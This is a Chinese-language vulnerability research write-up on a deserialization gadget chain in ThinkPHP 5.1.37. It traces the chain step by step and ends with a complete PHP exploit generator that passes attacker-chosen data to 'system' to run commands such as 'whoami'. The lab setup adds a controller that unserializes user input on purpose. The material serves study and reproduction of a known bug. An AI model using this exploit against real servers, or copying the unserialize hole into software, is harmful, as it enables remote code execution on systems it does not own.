一个老版本的tp框架的反序列化漏洞
0x01环境搭建
- PHP7.3+Xdebug+thinkphp5.1.37+PHPSTORM
直接用composer搭建
| 1
 | composer create-project --prefer-dist topthink/think=5.1.37 thinkphp5.1.37
 | 
运行环境

出来了
因为是二次触发不是原生触发的,所以需要写个反序列化的入口
在app\index\controller目录下新建一个控制器Test.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | <?phpnamespace app\index\controller;
 
 class Test{
 public function unserialize($poc=""){
 echo "Welcome to unserialization:<br>";
 echo "You's input :".$poc."<br>";
 echo unserialize(base64_decode($poc));
 }
 }
 
 | 
然后在route.php中添加路由
| 1
 | Route::get('/test', 'Test/unserialize');
 | 
随后访问test路由

搭建完成
0x02漏洞复现
全局搜索一下常规的反序列化入口__destruct()方法

先看看第二个吧Process.php
| 12
 3
 4
 
 | public function __destruct(){
 $this->stop();
 }
 
 | 
这里调用了一个stop函数,跟进看看
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | public function stop(){
 if ($this->isRunning()) {
 if ('\\' === DIRECTORY_SEPARATOR && !$this->isSigchildEnabled()) {
 exec(sprintf('taskkill /F /T /PID %d 2>&1', $this->getPid()), $output, $exitCode);
 if ($exitCode > 0) {
 throw new \RuntimeException('Unable to kill the process');
 }
 } else {
 $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid {$this->getPid()}`);
 foreach ($pids as $pid) {
 if (is_numeric($pid)) {
 posix_kill($pid, 9);
 }
 }
 }
 }
 
 $this->updateStatus(false);
 if ($this->processInformation['running']) {
 $this->close();
 }
 
 return $this->exitcode;
 }
 
 | 
这里是一个终止进程的代码,如果有一个正在运行的进程,就根据Windows和unix系统的不同处理方式去获取子进程的PID并强制终止进程,最后返回退出代码
我们跟进isRunning函数看看
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | public function isRunning(){
 if (self::STATUS_STARTED !== $this->status) {
 return false;
 }
 
 $this->updateStatus(false);
 
 return $this->processInformation['running'];
 }
 
 | 
这里的话就检查进程状态,如果进程未开启则返回false,也就不会执行if语句
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 |     protected function updateStatus($blocking){
 if (self::STATUS_STARTED !== $this->status) {
 return;
 }
 
 $this->processInformation = proc_get_status($this->process);
 $this->captureExitCode();
 
 $this->readPipes($blocking, '\\' === DIRECTORY_SEPARATOR ? !$this->processInformation['running'] : true);
 
 if (!$this->processInformation['running']) {
 $this->close();
 }
 }
 
 | 
这个函数用于更新进程的状态,并赋值给processInformation表示进程状态,这里看完感觉没什么可利用的点,我们看看其他的类
看看think\process\pipes的Windows.php
| 12
 3
 4
 5
 
 | public function __destruct(){
 $this->close();
 $this->removeFiles();
 }
 
 | 
先看看close函数
| 12
 3
 4
 5
 6
 7
 8
 
 | public function close(){
 parent::close();
 foreach ($this->fileHandles as $handle) {
 fclose($handle);
 }
 $this->fileHandles = [];
 }
 
 | 
这里的话会调用父类的close方法,跟进看看
| 12
 3
 4
 5
 6
 7
 
 | public function close(){
 foreach ($this->pipes as $pipe) {
 fclose($pipe);
 }
 $this->pipes = [];
 }
 
 | 
这里的话会关闭当前对象管理的管道资源,令管道资源数组为空
回到子类的close,新增了一个清理文件句柄的操作,这里貌似没有什么可用的地方,我们看看另一个函数removeFiles()
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | private function removeFiles(){
 foreach ($this->files as $filename) {
 if (file_exists($filename)) {
 @unlink($filename);
 }
 }
 $this->files = [];
 }
 
 | 
这里检测文件是否存在,存在则执行unlink函数删除文件,一开始看到这个函数下意识想到phar反序列化的打法,但是这里只是一个单纯的反序列化,并且没有文件上传或者写文件的入口,估计这个能被利用来出题
那这里还能干嘛呢?在if语句里面利用file_exists($filename)的时候会把filename当成参数字符串去处理,那我们找找__toString()方法?
全局搜索__toString()方法,找到一个think\model\concern\Conversion.php的__toString()
| 12
 3
 4
 
 | public function __toString(){
 return $this->toJson();
 }
 
 | 
| 12
 3
 4
 
 | public function toJson($options = JSON_UNESCAPED_UNICODE){
 return json_encode($this->toArray(), $options);
 }
 
 | 
跟进之后发现这里就是一个单纯的json字符串的解析返回,这里采用的是JSON_UNESCAPED_UNICODE,以字面编码多字节 Unicode 字符。跟进toArray函数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 
 | public function toArray(){
 $item       = [];
 $hasVisible = false;
 
 foreach ($this->visible as $key => $val) {
 if (is_string($val)) {
 if (strpos($val, '.')) {
 list($relation, $name)      = explode('.', $val);
 $this->visible[$relation][] = $name;
 } else {
 $this->visible[$val] = true;
 $hasVisible          = true;
 }
 unset($this->visible[$key]);
 }
 }
 
 foreach ($this->hidden as $key => $val) {
 if (is_string($val)) {
 if (strpos($val, '.')) {
 list($relation, $name)     = explode('.', $val);
 $this->hidden[$relation][] = $name;
 } else {
 $this->hidden[$val] = true;
 }
 unset($this->hidden[$key]);
 }
 }
 
 
 $data = array_merge($this->data, $this->relation);
 
 foreach ($data as $key => $val) {
 if ($val instanceof Model || $val instanceof ModelCollection) {
 
 if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
 $val->visible($this->visible[$key]);
 } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
 $val->hidden($this->hidden[$key]);
 }
 
 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
 $item[$key] = $val->toArray();
 }
 } elseif (isset($this->visible[$key])) {
 $item[$key] = $this->getAttr($key);
 } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
 $item[$key] = $this->getAttr($key);
 }
 }
 
 
 if (!empty($this->append)) {
 foreach ($this->append as $key => $name) {
 if (is_array($name)) {
 
 $relation = $this->getRelation($key);
 
 if (!$relation) {
 $relation = $this->getAttr($key);
 if ($relation) {
 $relation->visible($name);
 }
 }
 
 $item[$key] = $relation ? $relation->append($name)->toArray() : [];
 } elseif (strpos($name, '.')) {
 list($key, $attr) = explode('.', $name);
 
 $relation = $this->getRelation($key);
 
 if (!$relation) {
 $relation = $this->getAttr($key);
 if ($relation) {
 $relation->visible([$attr]);
 }
 }
 
 $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
 } else {
 $item[$name] = $this->getAttr($name, $item);
 }
 }
 }
 
 return $item;
 }
 
 | 
看一下具体逻辑
对于visible数组来说,该数组是用于存储显示的属性的字符串
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | foreach ($this->visible as $key => $val) {if (is_string($val)) {
 if (strpos($val, '.')) {
 list($relation, $name)      = explode('.', $val);
 $this->visible[$relation][] = $name;
 } else {
 $this->visible[$val] = true;
 $hasVisible          = true;
 }
 unset($this->visible[$key]);
 }
 }
 
 | 
这里的话处理值为字符串的字段
- 处理关联字段(含.的字符串):例如user.name处理后是['user' => ['name']]
- 处理简单字段:例如id处理后是['id' => true]
处理好后清理原有的值
对于hidden数组来说,该数组是用于存储需要隐藏的属性字符串的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | foreach ($this->hidden as $key => $val) {if (is_string($val)) {
 if (strpos($val, '.')) {
 list($relation, $name)     = explode('.', $val);
 $this->hidden[$relation][] = $name;
 } else {
 $this->hidden[$val] = true;
 }
 unset($this->hidden[$key]);
 }
 }
 
 | 
处理逻辑是一样的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | $data = array_merge($this->data, $this->relation);
 foreach ($data as $key => $val) {
 if ($val instanceof Model || $val instanceof ModelCollection) {
 
 if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
 $val->visible($this->visible[$key]);
 } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
 $val->hidden($this->hidden[$key]);
 }
 
 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
 $item[$key] = $val->toArray();
 }
 } elseif (isset($this->visible[$key])) {
 $item[$key] = $this->getAttr($key);
 } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
 $item[$key] = $this->getAttr($key);
 }
 }
 
 | 
这里的话就是利用前面的规则去处理关联模型对象
其实上面的都是一些基础的操作,我们真正利用的是最后的追加属性的操作

我这里发现visible方法并没有声明,那就意味着这里可能会触发__call()方法,那当$relation可控的时候也就意味着key和name可控
因为Conversion是trait关键字声明的无法被实例化,那我们找找继承了该类的子类

可以看到Model类在它的内部复用了被trait修饰的Conversion对象
然后恰好在该类中找到一个__call()方法

但是这个方法中的调用函数的方法限制的很死,一会找找别的__call()方法
但是Model类是抽象类也不能被实例化,找找他的子类
全局搜索extends Model,表示继承Model类的子类,只找到一个Pivot类,所以只能是这个类了
因为Pivot类继承了Model抽象类,然而Model抽象类复用了被trait修饰的Conversion对象,所以可以通过Pivot类调用被trait修饰的Conversion对象的__toSrting()方法
不过在进入该if语句的时候还会执行第188行代码,也就是getRelation函数,我们跟进看一下

为了更好的理解,我们构造一个test传进去试一下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | <?phpnamespace think\process\pipes{
 use think\model\Pivot;
 class Windows{
 private $files = [];
 public function __construct(){
 $this -> files = [new Pivot()];
 }
 }
 }
 namespace think{
 abstract class Model{
 protected $append = [];
 public function __construct(){
 $this -> append = ['test'=>['1','2']];
 }
 }
 }
 namespace think\model{
 use think\Model;
 class Pivot extends Model{
 }
 }
 namespace{
 use think\process\pipes\Windows;
 echo base64_encode(serialize(new Windows()));
 }
 
 | 

此时key为我们构造的test,步入该函数,但是最后会返回空值,因为原先relation的值是空的,所以会直接跳过if语句返回空,返回后进入getAttr函数

随后进入getData函数

可以看到data此时是可控的,所以最后可以得出$relation变量可控,所以就可以触发__call方法,我们传个data试一下

成功进入,并返回data中$name键对应的值

所以如果我们设置值为一个对象的话,此时就会返回一个对象实例,从而触发__call()方法,但是这里的话name来自于append的值,所以我们可以设置值为需要传入__call()方法的参数
然后我们来找找__call()方法
找到一个think\Request类

这里有个call_user_func_array函数,前面的话检查hook数组中是否有key为method参数的值,并且会在args中插入当前对象实例,这导致了$args不可控
然后我发现在Request类中的filterValue方法

这里有一个call_use_func方法,但是怎么触发这个方法呢?

在该类的input方法中用函数调用,但是该方法的$data参数不可控,所以这时候需要查找哪里调用input方法了,发现param方法调用了input

这里$this->param可控,而name不可控,又需要查找哪里调用param方法,发现isAjax方法调用了param
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | public function isAjax($ajax = false){
 $value  = $this->server('HTTP_X_REQUESTED_WITH');
 $result = 'xmlhttprequest' == strtolower($value) ? true : false;
 
 if (true === $ajax) {
 return $result;
 }
 
 $result           = $this->param($this->config['var_ajax']) ? true : $result;
 $this->mergeParam = false;
 return $result;
 }
 
 | 
$this->config可控,就代表param方法中的name参数可控,就代表input方法中data,name参数都可控,找到这条调用链后返回input函数

在filterValue方法$filters参数要可控,所以我们跟进getFilter函数

这下可以确定$filters参数是可控的,所以我们可以构造链子
| 1
 | think\process\pipes\Windows::__destruct()->Pivot::__toString()->Request::isAjax()->Request::input()->Request::filterValue()
 | 
然后一段段调试和设值
先是让链子跳到Request类的__call()方法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | <?phpnamespace think\process\pipes{
 use think\model\Pivot;
 
 class Windows{
 private $files = [];
 public function __construct() {
 $this -> files = [new Pivot()];
 }
 }
 }
 namespace think\model{
 use think\Model;
 class Pivot extends Model{
 }
 }
 namespace think{
 abstract class Model{
 private $data = [];
 protected $append = [];
 public function __construct(){
 $this -> append = ["test" => ["test"]];
 $this -> data = ["test" => new Request()];
 }
 }
 class Request{}
 }
 namespace {
 use think\process\pipes\Windows;
 echo base64_encode(serialize(new Windows()));
 }
 
 | 

然后我们设置hook的值可以调用isAjax
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | <?phpnamespace think\process\pipes{
 use think\model\Pivot;
 
 class Windows{
 private $files = [];
 public function __construct() {
 $this -> files = [new Pivot()];
 }
 }
 }
 namespace think\model{
 use think\Model;
 class Pivot extends Model{
 }
 }
 namespace think{
 abstract class Model{
 private $data = [];
 protected $append = [];
 public function __construct(){
 $this -> append = ["test" => ["test"]];
 $this -> data = ["test" => new Request()];
 }
 }
 class Request{
 protected $hook = [];
 public function __construct(){
 $this -> hook = ["visible" => [$this,"isAjax"]];
 }
 }
 }
 namespace {
 use think\process\pipes\Windows;
 echo base64_encode(serialize(new Windows()));
 }
 
 | 

随后进入param函数,需要设置param的name值也就是我们的config数组中var_ajax键对应值,但是需要设置什么值呢?
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | <?phpnamespace think\process\pipes{
 use think\model\Pivot;
 
 class Windows{
 private $files = [];
 public function __construct() {
 $this -> files = [new Pivot()];
 }
 }
 }
 namespace think\model{
 use think\Model;
 class Pivot extends Model{
 }
 }
 namespace think{
 abstract class Model{
 private $data = [];
 protected $append = [];
 public function __construct(){
 $this -> append = ["test" => ["test"]];
 $this -> data = ["test" => new Request()];
 }
 }
 class Request{
 protected $hook = [];
 protected $config;
 protected $param;
 protected $filter;
 public function __construct(){
 $this -> hook = ["visible" => [$this,"isAjax"]];
 $this -> config = ['var_ajax'=> 'aaa'];
 $this -> param = ["aaa"=>'whoami'];
 }
 }
 }
 namespace {
 use think\process\pipes\Windows;
 echo base64_encode(serialize(new Windows()));
 }
 
 | 

注意到input中有一个getData函数

很容易就看出来,这里的话设置
| 12
 
 | $this -> config = ['var_ajax'=> 'aaa'];$this -> param = ["aaa"=>'whoami'];
 
 | 
var_ajax键的值必须等于param的键名,这也才会返回data为whoami,随后进入filterValue函数,这时候就需要设置$filters的值了

这里需要关注is_callable函数,该函数用于验证值是否可以在当前范围内作为函数调用
所以最后的exp
0x03最终exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | <?phpnamespace think\process\pipes{
 use think\model\Pivot;
 
 class Windows{
 private $files = [];
 public function __construct() {
 $this -> files = [new Pivot()];
 }
 }
 }
 namespace think\model{
 use think\Model;
 class Pivot extends Model{
 }
 }
 namespace think{
 abstract class Model{
 private $data = [];
 protected $append = [];
 public function __construct(){
 $this -> append = ["test" => ["test"]];
 $this -> data = ["test" => new Request()];
 }
 }
 class Request{
 protected $hook = [];
 protected $config;
 protected $param;
 protected $filter;
 public function __construct(){
 $this -> hook = ["visible" => [$this,"isAjax"]];
 $this -> config = ['var_ajax'=> 'aaa'];
 $this -> param = ["aaa"=>'whoami'];
 $this -> filter = "system";
 }
 }
 }
 namespace {
 use think\process\pipes\Windows;
 echo base64_encode(serialize(new Windows()));
 }
 
 | 

0x04影响版本
0x05总结
其实这个exp最后的参数是我调试了一晚上得来的,当时一直没调试出来,卡在is_callable函数检测上,后面发现是我框架版本搞错了,这得益于我环境搭建的时候
| 1
 | composer create-project --prefer-dist topthink/think=5.1.* thinkphp5.1.37
 | 
这里没有指定版本,导致下载了5.1的最新版本,但是我并不清楚是因为框架版本不同,其中对该函数设置范围的不同导致的,这个结论并没有去验证,后面有机会再研究一下吧